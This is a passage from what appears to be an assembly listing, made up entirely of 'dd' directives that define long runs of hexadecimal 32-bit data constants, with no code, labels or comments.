0FDFCD4h dd 8262A31Ch, 0B51BDD33h, 8D0EE6F8h, 81268BCFh, 793B5036h dd 0F0E77DD1h, 7D0E2208h, 0D576006Bh, 55C11FE2h, 1B00154Ch dd 96D92336h, 0F4EC38F5h, 74060065h, 7C4F2A61h, 0FF034829h dd 136989A4h, 0F55F80ABh, 37AF003Ah, 9B5AE182h, 0D4036FA9h dd 0AC93ED8Ch, 4B113DA5h, 0A637A00h, 0E61F6431h, 0A7320800h dd 7BE7F1BBh, 0E49850h, 36F33CA1h, 25C9B904h, 0ECF2770Fh dd 9534A3FEh, 270F8A2h, 19E7007Ah, 8B0A016h, 0C7008890h dd 0DB6BCDEEh, 3E4D1052h, 4B00E33Bh, 0E87AE1B0h, 0CF2CEA67h dd 0FC400C99h, 350DADDh, 0A836CCE4h, 0D9D24F66h, 0A140DC8Eh dd 0E9CA3C1Ah, 0AD4C6705h, 6680E6AEh, 0D3A9E65h, 975D062Ah dd 2077D121h, 6C032140h, 10517EA1h, 7AD5A8E7h, 1154072Bh dd 0A0FD5371h, 287F9A23h, 84A948h, 2A146899h, 0E2BC60E1h dd 0A32300CAh, 9298B9C2h, 66008F1Ah, 26C37A86h, 1CEE5738h dd 4018449Eh, 2BEAD1E9h, 54749C7Dh, 8504900h, 1D2A8E8Dh dd 59BE1DDAh, 120DC782h, 97057486h, 108B6048h, 0D3031347h dd 1B9D702Fh, 88BDC027h, 0B6F44Ch, 79D9CEA7h, 56EDB2AFh dd 0A30D0500h, 9D7CC12Ch, 1F833F80h, 0A64CB400h, 7A1E8C34h dd 6E820100h, 0C188DAC4h, 2E27B0DBh, 28049F74h, 3EA7004Ch dd 23B88BC7h, 73070D2Fh, 0F7773298h, 0AE501D70h, 67EA0099h dd 0E605E537h, 0A209AC90h, 0D8A4927Eh, 81C21396h, 449C0062h dd 61AC4CB9h, 5CE07B01h, 0E45E7AAFh, 0BA3545C0h, 1F14F0C0h dd 0C4045D79h, 0D3E36154h, 26D83DC4h, 0DA00B16Bh, 6CF9F08Bh dd 0C038BA57h, 4199D121h, 87028960h, 0B9CAC2E6h, 0B8B46028h dd 0EE0403DEh, 920806E4h, 7AB070DFh, 7600E020h, 380CABEh dd 18714954h, 88C390A3h, 0F40F6552h, 5ADAB22h, 3283B5F6h dd 4B41F0BDh, 0F0964C84h, 5028C300h, 22AA6DD4h, 0B4D1F900h dd 3D0BBA19h, 45B11E92h, 0F251819Eh, 0E01BFC2Fh, 29005B8Bh dd 7FFA8CE5h, 25064Bh, 503FDFBEh, 85BAE39Bh, 707E4409h dd 5C005FEBh, 6C3AB42Dh, 0A4005477h, 1DBEBFCCh, 0A870B1h dd 0EEC8AFFAh, 18D820Ch, 8054AC39h, 598636E7h, 65A0FBh dd 2B796446h, 8E24919Ch, 0D843A614h, 0F3900F2h, 0F3882E47h dd 0B06E7823h, 3BD43DD7h, 8EDFAD00h, 0CC7B75FCh, 0B1350201h dd 0EA6F7252h, 0EC489050h, 91D13C5Eh, 2652107h, 28D33092h dd 900B533h, 0A2CB986Bh, 5A86D8h, 6E919949h, 28D30BEh dd 0F978971Dh, 0D8AECE40h, 244EE3F1h, 3CDC46h, 0F694B2D7h dd 0BA00F548h, 0EE5F7F7Ch, 0E8E7281h, 85B82507h, 9D4F6F40h dd 1300A39Eh, 6C93E7FFh, 0C0E19988h, 7B19A9A0h, 745DB077h dd 0CA92285Ch, 41D34A0Bh, 0B7AE006Ah, 96B4B9h, 8F1EE70Ah dd 43888ED4h, 94296000h, 9C64ED77h, 0B8DF05F9h, 800CDE3Ch dd 41486E54h, 5D007477h, 0CE370ACCh, 7BE5C58h, 390266EEh dd 0ED57FAh, 0E0972E2Fh, 0AF7D6E00h, 7CF30626h, 248F0160h dd 0F1432A18h, 4B7C2479h, 2E603CB9h, 0A6D550h, 0BC16B88Eh dd 45863DD9h, 59F33F00h, 3CE5C3B0h, 742C487Fh, 0F1827907h dd 88EA3208h, 0C8C09480h, 0DFB086D0h, 4AAF300h, 3C4B637Ch dd 2ED93BD4h, 6DA3CF00h dd 3334C5E4h, 55F22200h, 957B9B91h, 0F46850E8h, 0EF16040Ah dd 804E4CB3h, 0EC83197Bh, 1B008092h, 8C9D0C80h, 0F16493h dd 27D17A10h, 6F2EC203h, 66288F00h, 8B0D67D6h, 9C4F05EBh dd 0C1D71A2Ch, 2074F55Ch, 170D4E32h, 19389039h, 0BCF680DBh dd 0C2200110h, 9589315h, 57713022h, 9DA4049Fh, 97E290C8h dd 4EA56140h, 85C9A18h, 7D2CCB70h, 11F00031h, 42AAF269h dd 0D8003FD3h, 0E8C98EA5h, 765D6B28h, 16DEEA80h, 0EF7190h dd 0F4409B5Dh, 2207CFEEh, 6E6C0CF6h, 0CD4E7A80h, 0EAF011h dd 0C5A26972h, 0AFE735EEh, 0D10BC400h, 0F16E0DEBh, 73603B50h dd 0D7E94780h, 0C615851Eh, 874BBD00h, 0FFC5F32Eh, 5E61C1Bh dd 17AFE814h, 30536F63h, 4822EC24h, 0F2D16800h, 0B9BC8679h dd 0A76B00FAh, 0B7A49EE4h, 6F3CA13Eh, 9DA90721h, 5140D773h dd 94BD677h, 89CE577Ch, 0AABEA980h, 0EF33709Dh, 0B875BCD5h dd 1EF27Dh, 0BBCBB5A4h, 539CFE5Ah, 874E3A00h, 0DC9F96E9h dd 9E06078Bh, 43DE3F99h, 0B9F1B834h, 0C963D4B6h, 0D332CC00h dd 0A665B53Ch, 3BBC0068h, 22FBEEBAh, 971E188Bh, 0FCC02F01h dd 32883F0Eh, 73BA483Eh, 1C126A2Ch, 0B8E00052h, 76C7254Fh dd 7F65C800h, 0E1D70AF6h, 48D51CD9h, 75328h, 0EDADA224h dd 45FC317Eh, 119C7000h, 963B6BA9h, 81B738D4h, 8C238E80h dd 0D6DEAADAh, 49020107h, 97503CE3h, 3632DF9h, 0E8409546h dd 0FD98BD85h, 2407A339h, 2E1DE20h, 2CADB7E0h, 0FBEB00B5h dd 0B30109B2h, 92073981h, 0DEF1459Fh, 5ADAD900h, 0FB4200A4h dd 27E4C9DFh, 0E9079D81h, 2F695BE6h, 0E3D4B8C0h, 5CE21C0Ah dd 49EE4073h, 960FD39Eh, 95FC1E00h, 6F1A06B8h, 0CB1700E0h dd 0EC4A47A8h, 54031383h, 5E3EF67Bh, 8893F08Fh, 3A511737h dd 0E8CB00BCh, 0A3D3816h, 0FE588E26h, 86B65400h, 32E68D1h dd 6C8C1171h, 688D985h, 9390BD7Eh, 0B8134A1Ch, 15956486h dd 0AC514C19h, 0B1005458h, 0ADE7B525h, 8B005B1Dh, 39387C49h dd 9AF89764h, 30624100h, 0E400CE7Ch, 0B9075B5Ah, 0F0178Dh dd 6E9AF410h, 6C78F2A9h, 0DC8EB303h, 0F8D9CB2Fh, 2CAD0h dd 5F0FBADEh, 0FB673EB2h, 1E65AB00h, 2A9E3C2Ch, 0FCAC0352h dd 7E69F766h, 5203805h, 8083A9h, 0EC56BBFAh, 73AB00DBh dd 3AD23BB7h, 0A3002EAAh, 0B44A76Eh, 39D8A9CFh, 0BF00EA21h dd 0BEF77429h, 0FB006B97h, 0FE5D7703h, 158156Fh, 0E5E4D4A7h dd 30F70749h, 500FF60h, 0CB7611E1h, 0B82382h, 866418D8h dd 4B77755Fh, 0CE428C00h, 5980D2Bh, 62D206FFh, 117DA9AAh dd 1104AD7Dh, 5615182Fh, 99FC7C80h, 0F40600A0h, 9FDC5880h dd 8100CBC5h, 0C3252359h, 5D9210h, 52FF5E96h, 0B345C158h dd 98D87E0Fh, 0C0CE0F53h, 79D0CACCh, 87BF004Eh, 8C92177Dh dd 5B72A0B9h, 0B1855E1Fh, 0DA67B300h, 0B82007h, 0F729E8C8h dd 14264DECh, 0C988911Ch, 0F11DF8Eh, 0A9FC0069h, 62B6D0h dd 76E83673h, 7FBC85Ah, 7843EF00h, 0F7B04788h, 0BB83001Dh dd 6B724DE5h, 1C2E7784h, 918C8443h, 0B4C66Ch, 0E5543968h dd 71C25D02h, 92C60300h, 6A335F63h, 90C97E77h, 0EF3900F4h dd 0DD5DD757h, 8203ED1Bh, 940B3D60h, 0F140C0E0h, 67E80E74h dd 0B18F7F9Ah, 2C84800Bh, 9C82FA08h, 0E188C8E7h, 32AD00A9h dd 294759E9h, 10E87102h, 6A49F00Bh, 0FA7800C2h, 0C43250h dd 1ADCEE8Dh, 1673CAB7h, 5C0008B0h, 9064C67Ah, 509B1F5h dd 2E4A11A5h, 0E7E0C29Ch, 0C7693CC0h, 8298AA3Dh, 402884BBh dd 580CD893h, 8700F88Eh, 0D0ACEBEh, 460058F7h, 991A2F28h dd 0E036EBBh, 79528065h, 82CC33E0h, 70960437h, 2B1F9907h dd 0EAFECA80h, 78983873h, 0AF54A000h, 1FE91B21h, 77005BFCh dd 1271BE0Ch, 0EB24309h, 45705E7h, 0D5819DEFh, 0D4F16C29h dd 0E8A0AE40h, 0CA00D495h, 0D7C25F06h, 3BF4A2B8h, 3A032A26h dd 0F699D1C1h, 898DC9C8h, 107504Ch, 0B4F50F13h, 0E841C584h dd 10E0ED27h, 48B52586h, 87675C80h, 150F0DBBh, 0C062EB94h dd 6D3055DCh, 2B140075h, 35F19E7Fh, 85000E48h, 0CDB9CCA0h dd 14A1C6Eh, 2EEB6889h, 7002DA1Dh, 0F89E7B50h, 0B7941F07h dd 593DF570h, 16672788h, 4AACCC38h, 2A804003h, 80DD028Dh dd 0E9F1530h, 0F6BB8CF0h, 0A2966E0h, 89248811h, 0C2001C7Dh dd 9623AE14h, 4D991D74h, 0C1C3802Ch, 877662C5h, 2ACF2F09h dd 0ED8C00EBh, 16ED848h, 2909D767h, 0CC3678A0h, 0A2A09184h dd 0FB909A92h, 0FBE14E01h, 6837137Ch, 127E20h, 45A54CDBh dd 0E9213D92h, 0AD00EDFCh, 0AB285788h, 0E4777451h, 0F9FC42h dd 71F71EEh, 0E026DFA9h, 0E42B9900h, 256B9A5Eh, 0BFAA006Eh dd 8786A8F7h, 0ECBABB38h, 49F83930h, 58B33B73h, 4682BC4Eh dd 0D8A0AEFDh, 0A2BED122h, 0AC84F313h, 0CC53C840h, 3CA056h dd 0DB691573h, 0EEEBA774h, 0A2911100h, 0A3871EF0h, 1FC402CEh dd 0BDC0F671h, 9955C0DFh, 0FFA0116h, 3B31153h, 21B0619Bh dd 8CABE1FCh, 21CC9E10h, 3EF0BBh, 191BED47h, 0E5324EA9h dd 0A4AD9900h, 7CDDE197h, 0E8C0016Dh, 80DC564Bh, 0F06C0Ah dd 0CF12CA2Ah, 6CC0557Ch, 271820E6h, 7A403565h, 6AC340C7h dd 0D3190D4Fh, 8788CC6Eh, 0D88623E6h, 0CDC08ECh, 0E050AF4Dh dd 0AD215228h, 0D70B09CDh, 36641B80h, 0E9395C86h, 46380705h dd 0F0800E89h, 4958E1h, 50A52C5Ah, 68A91A08h, 4D6A6603h dd 0C097AB1Fh, 7F3C90Eh, 0E4805DB6h, 3792E03Eh, 0E700CD26h dd 65082203h, 0DF8CFFh, 1CCE0B75h, 0D9B64467h, 3F07967Dh dd 0EE5B0A07h, 0DD41CF60h, 0BBA5049Ah, 0D7B56EACh, 9C8D128h dd 0B84C7CAFh, 0F204A6Eh, 780517Ch, 79A77A65h, 0DCA09400h dd 0C431EF9Bh, 21D03C05h, 3AAA7380h, 0C010260Ah, 962FF804h dd 0CA800E9Ah, 16A043AEh, 215AE312h, 0E84124h, 7BBC283Fh dd 0B06100F2h, 0C5A4DC1Ah, 0BA0009D9h, 0F84F05E8h, 7E9F9154h dd 0BB4E0Bh, 4E4B5388h, 0B1798B96h, 2A7CE80Fh, 0E2D1A0FAh dd 3279D39h, 2ED8D9DAh, 50C093FCh, 0AD00E519h, 0B176A142h dd 1244B64h, 0FEA66AE3h, 0D48413D9h, 0C101B068h, 0E4EF77B9h dd 8F605BC8h, 0F7CF004Ch, 0D43E6273h, 0DA1F47DEh, 500170C4h dd 0CC66198Bh, 0E754C0h, 723D832Fh, 646F82C1h, 0E914D40Eh dd 0C0B6E071h, 0CFA074D7h, 62C05C52h, 3D5042E0h, 8D0F2C13h dd 0BE38F618h, 0FF4C00F1h, 0FEE56F92h, 533A6CAAh, 0DAE48AF7h dd 239ED02Eh, 0A2004853h, 25F14F46h, 5BA73B76h, 0F4809FADh dd 0ED6B7CFCh, 1021C102h, 0A065CFB7h, 0F0B1A1ECh, 0C94A51h dd 9FE5B2C4h, 6B72DF86h, 7BD9E100h, 0BA08AB8Fh, 0FC07332h dd 0F60B7F29h, 7A669E20h, 27127525h, 0FEA235Ch, 64E6DB88h dd 44000672h, 7655E531h, 0AF8670h, 0A65E0F7Bh, 3C50B822h dd 0F543F60Eh, 0F72D80B5h, 2C364CBBh, 0BFB8F392h, 7131E000h dd 31AF5A3h, 98652B13h, 0D4A8644Ah, 0DBC94E00h, 0A0C3B03Bh dd 0FFA76C80h, 3E000C38h, 0F7B9EEA1h, 0E800F82Bh, 211EE6D0h dd 0FADE79h, 94F5D61Dh, 611B352Ah, 51788C14h, 737216A8h dd 0EAFF1800h, 1C6CC283h, 5B39FCh, 63A1024Dh, 0A0BEC58Dh dd 2641DC40h, 19B7037Dh, 9573FCDFh, 0E93802Dh, 0A0E4EEC8h dd 7B82597Fh, 2A3F2C4Fh, 2550060h, 0C7BF7A0Bh, 22084C07h dd 46410359h, 0A4E04E1Bh, 0DDEF0E82h, 5120F4A6h, 0F6E46D62h dd 9F2B8A07h, 0C13F803Dh dd 0ED54A374h, 211F9428h, 0B6A70009h, 0DFBCD10Ah, 0F37B0E00h dd 96E00507h, 77FB0006h, 0D27D4D82h, 0AB01506Bh, 0D917A2C3h dd 41E926E3h, 2FEB1820h, 92F67521h, 72001029h, 0FF046F27h dd 53870088h, 172AC2D4h, 90042D1h, 0BF95507h, 0E0A4A96Dh dd 0ACB10091h, 2DD25F58h, 0EF61A2F5h, 6B7F3F8h, 3F98A8FCh dd 6A8053E7h, 23B6E5CBh, 42002235h, 8A070FA4h, 0C4413h dd 87F03FCEh, 5058E24Ah, 74FEA900h, 9F19CDB4h, 6AF1C5Dh dd 0D5A40C9h, 0CE02713h, 0DE59C800h, 12443AE3h, 0F5BC0262h dd 0C5487093h, 33DAA480h, 3E00804Eh, 0CB87A67Ah, 2B6729h dd 0E2F6A58Dh, 0AF7DEA85h, 0D9000F90h, 0E9A22231h, 8A3253h dd 1AC4BB5Eh, 9DFACF89h, 8D002DF6h, 6DB42143h, 0B6A0644h dd 6BD3112Eh, 89ADB180h, 0B000438Ch, 39F3E45h, 7EF7949h dd 0AFB12BCh, 0DF817007h, 0FE03947Ah, 0A5A72A2Fh, 0D415804Eh dd 46973091h, 7CC518F6h, 210EE300h, 336514CAh, 0C7698A0h dd 0BCD02431h, 494818ACh, 0EF4C2CAAh, 28D8003Eh, 51EA6888h dd 9579014Ah, 1F1A1229h, 818450C0h, 0B07E690Dh, 60C8376Eh dd 82EB2EFFh, 8F633D6Eh, 9F973D80h, 0B4F5799h, 982DF4A0h dd 0E50E1FE0h, 0A0F2E904h, 129994FBh, 0F1DC3011h, 0D57B7110h dd 9C5D4D07h, 0B5D792C7h, 0F6AC9DC0h, 50BF0056h, 401563EAh dd 0E17C48A9h, 0E7710700h, 4338032Ch, 855A0356h, 9EFF9FD8h dd 0E9897BC0h, 0A286CD03h, 0C07CD004h, 98A7169h, 22E62C10h dd 72384001h, 0AEF6F0ADh, 0D5DE0503h, 0C8FC1275h, 7F07B9h dd 1FB9166h, 9F819AF6h, 0EA309E28h, 123AA200h, 0EDC87C8Fh dd 0FB4C0320h, 5515D3F4h, 0E6515290h, 7126E39h, 6C718BD8h dd 0B08AC140h, 0F8D1181Eh, 69A82839h, 0D2040F05h, 1BE0E9A1h dd 47C71437h, 650084C2h, 0F3844E91h, 85006E26h, 0AA51217Bh dd 0C7B339h, 68059010h, 0E96C963Dh, 315EAE03h, 9058C187h dd 7ACB9AB1h, 1A3314F3h, 0A800949Fh, 9E0F9D8Dh, 9100154Ah dd 80EA8F5Dh, 0FCF1771h, 0D84A7D6h, 0F4AAA840h, 99048C39h dd 66E9DB52h, 5BD7FA30h, 3B17A38h, 0A8CCD044h, 4677E017h dd 7C9900EFh, 0A045799Ah, 0BA007213h, 24B47383h, 3EBDF636h dd 0CCBA5BADh, 96076D00h, 3EBA441Ah, 80700938h, 99AA93EEh dd 0E0E110h, 8EF968BDh, 0DDAE0AADh, 0BC96BB00h, 673E3349h dd 0EB5100DEh, 350B2D23h, 5E048F40h, 0F95BB1CAh, 66459480h dd 0B46D0015h, 9C621B49h, 992C93D1h, 7E031AB9h, 0A80B3890h dd 0EE8440AFh, 0A1E91D16h, 0BB00FA8Fh, 0A73EF881h, 0F4072A85h dd 139D84B5h, 18510863h, 8161861h, 4BEA7855h, 1E12891Dh dd 0E505D06h, 0E0D3F118h, 0E62913A4h, 31F86114h, 0D32B217Ah dd 51A64801h, 61AB5F65h, 0FA5BD0h, 6D2E929Ah, 0C80A6618h dd 1AF67307h, 0F850112Bh, 957AF9h, 0A1550616h, 2414AB5Bh dd 18048300h, 29AC0AFAh, 268A1476h, 24005031h, 4FAF9C5Ah dd 4E037D62h, 51468773h, 3D61D81Fh, 2A57077Bh, 70709278h dd 0B8775EA2h, 8D97BC06h, 5848C7h, 1638DA07h, 5F7631A6h dd 221D3Ah, 0F709A1B2h, 0A79005h, 1CE89704h, 145A577Eh dd 6B634801h, 0AE7636A5h, 3AC99CE8h, 9500F61Eh, 41473559h dd 0C5003466h, 0B972A7D3h, 2C3A2E40h, 951076B5h, 0CF8040Ah dd 0BCC1A960h, 0B027BFE7h, 878B2EE7h, 260200A4h, 443177A2h dd 8107DC7Ch, 3C591097h, 7CFB8C7h, 61CFF1B5h, 3C91B12h dd 0D4A02C40h, 28CB32B0h, 3FE3F350h, 90545106h, 1529EE89h dd 8085C11Eh, 3BE51400h, 180FB335h, 8A59471Fh, 7E4BEE40h dd 0E1773E23h, 28D2619Eh, 0D1976060h, 47213A4Ah, 618D19C0h dd 29DD50Eh, 990FB130h, 7090E8EEh, 40807CECh, 0A3440068h dd 0A2DA0139h, 0E8C48F09h, 4F1E566Eh, 0ED8066B8h, 323AF3F7h dd 25969111h, 0B515F205h, 0A24C6009h, 100133A8h, 67FA570Ch dd 0A9BA5688h, 521DC88h, 10FEA080h, 8037C6E5h, 246FD0ACh dd 591A0D39h, 739260h, 201E7B9Ah, 0B052323Fh, 499B0D00h dd 82B5A076h, 0A94702CBh, 0ACD114A3h, 0C1ACE063h, 8B0868C2h dd 206DDC78h, 0DF1FF838h, 0EDD300D9h, 4340705Ch, 150081A0h dd 0C2CDE7B1h, 303E9F62h, 5F81657Bh, 0AD00A28Ch, 41451D50h dd 7901FFC0h, 80710035h, 5EDD3C7Ah, 8C078289h, 885CAED4h dd 66F3A940h, 1C1F3BE5h, 0A2803C4Ch, 6CEC8DA4h, 9B46E100h dd 0EBF4AC92h, 7913021Fh, 0D9147782h, 8C31808Ch, 4B008AB8h dd 84325633h, 5BAB4D4h, 219B668h, 5CA44054h, 0F3162196h dd 0CD8D3D00h, 0C0C90B82h, 330C0135h, 0DCD49017h, 33988AEh dd 6788832Fh, 0A793319Eh, 5ADE7480h, 849C7D38h, 24021C72h dd 1D893C80h, 609EEFh, 9C2E6799h, 8C46C26h, 0BF6DAEh, 73C244D6h dd 19C08A85h, 8F629167h, 0CC0500C0h, 3693BAF1h, 9E03DC73h dd 4EA82889h, 0E75EE075h, 3F8C724h, 43DF80FEh, 8E0018F7h dd 9001DC8Dh, 0A8AB36Eh, 0AF4CDD56h, 668F03E6h, 830B40Eh dd 87D1215Dh, 2367B4Ch, 0AD12E79Ch, 0A2407FA0h, 0CB00246Eh dd 0E6D2563Fh, 12F47304h, 16D566h, 0C81C6854h, 0EA006278h dd 19FCBC7Ah, 3D9682DBh, 75B00C3Eh, 4CF26360h, 8E9B9A00h dd 0EFD90B7Bh, 0A0D20615h, 188D790Ch, 207689C7h, 72251141h dd 0D08311BEh, 37C096A6h, 0EFF37990h, 9D60C574h, 0A4D88921h dd 59160088h, 0F3BB15ACh, 0C0338697h, 4C1ADh, 50DE7C08h dd 8B254626h, 8CABC618h, 0FA129321h, 200A0698h, 9327259h dd 0F3219660h, 5C5039h, 45BF901Fh, 81C73456h, 27ABD10Ch dd 988958h, 0E5113CC8h, 0B7029AA8h, 75FF56C3h, 1CFCB827h dd 8C8450BAh, 88644408h, 0D27A0912h, 84CCEC0Ah, 3C4680A0h dd 99A4D501h, 0CC5BFC0h, 0BD888890h, 29C6A400h, 2C0CEA53h dd 0F2240AB5h, 3289478h, 87F8DC89h, 73CD1000h, 0C4CA7B9Fh dd 83BB00C6h, 0A4664856h, 5E00A7EFh, 75C94205h, 3E274F3h dd 0A9712873h, 0D0E3A22Ch, 602ECAE0h, 0BB2F1F01h, 3D4FBB2h dd 3095CECh, 28FF220Bh, 98074259h, 300ADD83h, 9F78071h dd 0BF085980h, 5960254Fh, 9358BFh, 3376BADBh, 0F0D6E942h dd 73159B00h, 5B29CB8Ch, 4630009h, 13CE1848h, 6D0061F3h dd 0D55099DAh, 1F1B674Bh, 3F5A5FBh, 75E37438h, 33871811h dd 2915790Fh, 0C9DBFF27h, 0E818638Ch, 31888A64h, 1878001Ch dd 8CA9D7D5h, 5D805301h, 7940BD09h, 602FC7D8h, 8B4A281Ah dd 0CD06D5CAh, 94BF018Eh, 0A7220CB9h, 60F852B0h, 80E8476Fh dd 38372C6h, 9A3A12ECh, 918000BCh, 0D80D50F1h, 26FBED01h dd 0F6E1318Dh, 0CBD4CAF5h, 80C50776h, 60B84952h, 0F9810EA5h dd 0B937E519h, 44A3810h, 0B6F2C8E0h, 51AE10C0h, 20DC544h dd 1908B5ECh, 7BD0DE5Eh, 7DC83F01h, 0AEEE7592h, 0C8BE51F4h dd 0D4421128h, 219124C4h, 518848E3h, 0C68F0BADh, 2511D066h dd 4D631993h, 0AC08A929h, 0B7D96144h, 0E907E4F8h, 481D4E31h dd 54DF47D0h, 0A56E01D3h, 0E1B8F87Fh, 992DC71h, 61E6D700h dd 15CAC359h, 0ABB00076h, 0A3C4251Fh, 7103365Fh, 227B636Ah dd 0AD0AD058h, 0DCB507FDh, 50074D1Fh, 0F99FA286h, 0AA22A300h dd 3FE0C948h, 0EBF5097Dh, 0A980C309h, 0A7368A99h, 19789F0Ch dd 7377CC32h, 1E4EEAEh, 92BFE6F6h, 819CFEDEh, 27060118h dd 2430D5E3h, 70EE0079h, 5A1EC57h, 8172B9C4h, 0CF375000h dd 3A28B1D2h dd 1FA298CCh, 87340DBAh, 91AAD35Ah, 0F8DDA122h, 1A013EE0h dd 5F1C0BA6h, 108E0667h, 81A0B409h, 7B0791FAh, 0BC05CFB0h dd 613A2F21h, 0F8B15180h, 3C5D00BFh, 85877CB8h, 13012B23h dd 0FFEC71F5h, 9D4A5E3h, 0A4C3001Fh, 0B02C1D6h, 22005C8Ah dd 6BD7909Ah, 0EC455Eh, 0CE5BF6BFh, 692410B5h, 11AA6E00h dd 125AF0BAh, 7E0478DDh, 2BAE0FE1h, 0FC0F6DBh, 9D5F20F2h dd 8F19EB02h, 80350352h, 5BFEABADh, 0B1FE0D9h, 685ED823h dd 8297B00h, 0E0748512h, 47B2660Fh, 0C84FC013h, 0EFA7DEh dd 0F29DF501h, 0E9273917h, 74A2800Ah, 5C00A0A3h, 0F44B93C6h dd 0AA7100B8h, 0B46BC2F2h, 2900922Ch, 351BB0DAh, 5DD70Eh dd 4522F151h, 0DC194FE5h, 16F7720Bh, 0C6D380B1h, 880F41h dd 4B23EF3Dh, 0D50E335Fh, 0C0020606h, 526944DCh, 0F000D817h dd 0EE050F9Fh, 1D007759h, 37A3F5D1h, 705C9C2Ah, 0F04400BFh dd 0B70C1A31h, 0D83CB17Eh, 0A30980D2h, 5B9969DFh, 0E5B50070h dd 0C8E06440h, 0C70A229Dh, 0B90451C0h, 38A4DE00h, 30EDAE2Dh dd 61F04BD0h, 2FB0535Dh, 63DDB000h, 98E9CDE5h, 4A560036h dd 38C120B1h, 2E011348h, 490688B8h, 9880C93Dh, 5CA032CCh dd 5300902Fh, 0BA395E84h, 50BB77D9h, 0CCF016h, 7514839Eh dd 4F973E1h, 0D6472800h, 0A0A8B90Fh, 0FB1A049Fh, 80FA0DECh dd 0CF24E878h, 18C3F600h, 6EBEF414h, 5C6600E2h, 92DE553Eh dd 0FD00C9A2h, 0C17B5BF9h, 5D6AEDh, 5AFE4679h, 0EB93FF8Ah dd 17A8F0A3h, 39264CF7h, 270054ECh, 0DB6CF86Fh, 8F8C04Ah dd 0E0479FBAh, 382C5Ch, 0E254361Eh, 0C58618h, 328FCCF5h dd 0CD09D7BAh, 390E1C00h, 0A0FE3A71h, 0F2B3007Eh, 62E26DB5h dd 7B399605h, 37F454A9h, 0B6984201h, 0E5326D3Fh, 706E8440h dd 0BC930019h, 0E43C91F6h, 0C6032CCEh, 0AF3A48FDh, 76DAF1F5h dd 3080FFCDh, 909B53C7h, 0F3007AEFh, 0D3C260E0h, 0F6D49D74h dd 211206B1h, 523F9992h, 38AC2E26h, 68958h, 0FDF4A38Eh dd 7E911C2Fh, 262B3400h, 7BB96B0Eh, 0FA860042h, 0EC1E81C8h dd 0F9074C4Fh, 9FA13B6Eh, 80080E69h, 2BCC4457h, 5AE00080h dd 8EF3CE70h, 2233343Fh, 0B01F401Dh, 0E65B5158h, 20CA0070h dd 321A3606h, 0DA00486Ah, 0EA0A6356h, 0EFABC40h, 901C8DC5h dd 55597DA0h, 3000B8DBh, 3E68F94h, 45D0E5h, 2C67A623h dd 0D8B5C7E2h, 0E9D26B00h, 0AE8EC40h, 3EBF0089h, 0F0188D97h dd 452E1AC2h, 5F07CB85h, 0E360D4BAh, 54D35CBh, 7654EBB5h dd 0CCAE00C2h, 0F4749569h, 5E794403h, 0A85B9406h, 57C749h dd 0E336418Fh, 0AADE2537h, 84933400h, 31A46829h, 0AFE1017Dh dd 0FB54DD0Fh, 3100C788h, 0FD81DE22h, 60433F15h, 3D7FA09Ch dd 0BC1817D9h, 70122D49h, 0BA5E1D59h, 2E9B00E7h, 0B544B78Eh dd 0D652A500h, 5672DB9Ch, 0CB850070h, 0EF4D1305h, 0E500EB8Bh dd 0DAE3CC07h, 0B5349Bh, 0A606F031h, 2BD0CF79h, 0E98BB107h dd 0FAC06EB2h, 0C063F89Ah, 24C5A910h, 0DA0060BBh, 0B1874703h dd 1D6714Eh, 9F98559Eh, 204DC732h, 0B4016384h, 62BA1AD2h dd 0BE30D3CAh, 0D8E90324h, 0F598EE1Eh, 583C56D8h, 916B312h dd 81AA6000h, 16748B2h, 0D2630494h, 0D8EAEE85h, 0D780909Ch dd 0B3530003h, 198189F5h, 0CA265137h, 9C00E4B5h, 97FF36D4h dd 52010016h, 0EE67FC10h, 0CFF837E8h, 3BF04706h, 0A0483Dh dd 635AE24h, 13E3801Ch, 0D8ABB00h, 11DAD1BDh, 43D800A1h dd 0B563B61Eh, 6A00AE78h, 5D06059Dh, 26F69914h, 23093Eh dd 17645921h, 910187F2h, 71CB5F4Ah, 0C1F03C8Ch, 4CF80CF1h dd 0ADE0BD15h, 0A4547A01h, 0FC14D3E6h, 3EB8FC80h, 0F2931538h dd 0D9992200h, 0AC502AAh, 32131E1Eh, 1AF002D1h, 0DEC1277Fh dd 0EAB5F018h, 0AFC87C07h, 1CE04B8Eh, 90DB0BC0h, 9A451D94h dd 67EE41D7h, 30228A46h, 0E200F135h, 3823F591h, 741346Ch dd 6EA671B0h, 8745B2D0h, 69687740h, 794B6101h, 2C5950ACh dd 197C20h, 0B258D03Dh, 0C8A4FC2Eh, 0A1BD1B00h, 0DC246E3h dd 888B0730h, 80A3D61Eh, 18324A05h, 0F4B65700h, 3569A84h dd 59B900C9h, 2C1AEDC0h, 2000A969h, 0D8379D40h, 0C6285Bh dd 821478EFh, 0E86648C3h, 381DBD76h, 224455F2h, 40C087FFh dd 3E58D0Dh, 0F071D317h, 62C03663h, 61003CE7h, 0E6B5F7B1h dd 7D04B8h, 1B171A60h, 8B1E80DEh, 311CD800h, 0E0E7CD3Ah dd 0C553023Ch, 0CE0D4F26h, 1D10E160h, 809B7B39h, 0B3DD5485h dd 0C47F14h, 49CFF6Dh, 0DB774033h, 0AF41E003h, 0E029F086h dd 0FEEFE250h, 40430F06h, 59A29E1Fh, 4F607413h, 3F006CBCh dd 7742AC5Dh, 0FC2CC9h, 4FCE285Ah, 0E549D87Dh, 0FDA70200h dd 240F6D8Eh, 0D6FE0053h, 0BC464C77h, 0A200E4E3h, 0F7ECEDF4h dd 0D4E23Eh, 57B7C5F1h, 69DB1DE8h, 0BFB65501h, 95508AEFh dd 0F2E043C5h, 0EE0100D4h, 6225591Fh, 0A7000703h, 9D507DCAh dd 98A9BFD6h, 0FBD100ECh, 8DFA98CBh, 92006C15h, 43B160EBh dd 7CB5F3h, 6E231A52h, 0A48A365Ch, 0E1A66A07h, 68F00EB0h dd 0C67D0Bh, 5C2C89AEh, 0A4FD51E8h, 0A0E1DC0Fh, 0F04960CEh dd 1418747Eh, 0A4544A2Bh, 0AC526008h, 0E07CFC00h, 0E666AA05h dd 9582006Bh, 9EA017E1h, 0F2018ED1h, 0E0E39AB7h, 0E860BE33h dd 0C91C01CCh, 0A8809EE2h, 0F8D46043h, 0F00837Bh, 0D32DA503h dd 2457948Ah, 806C5AD0h, 6D1C0D73h, 0C40198C7h, 0D1F2FF86h dd 0EBC012FDh, 528E001Bh, 732806D7h, 9F1E5EA8h, 0D201AC20h dd 0E7B5D4A6h, 7F3E20h, 2C3D11D9h, 41849DEEh, 2E613900h dd 594DDB72h, 7FC0B2BDh, 0B0A500ADh, 0D362D0D8h, 2F0C2CC8h dd 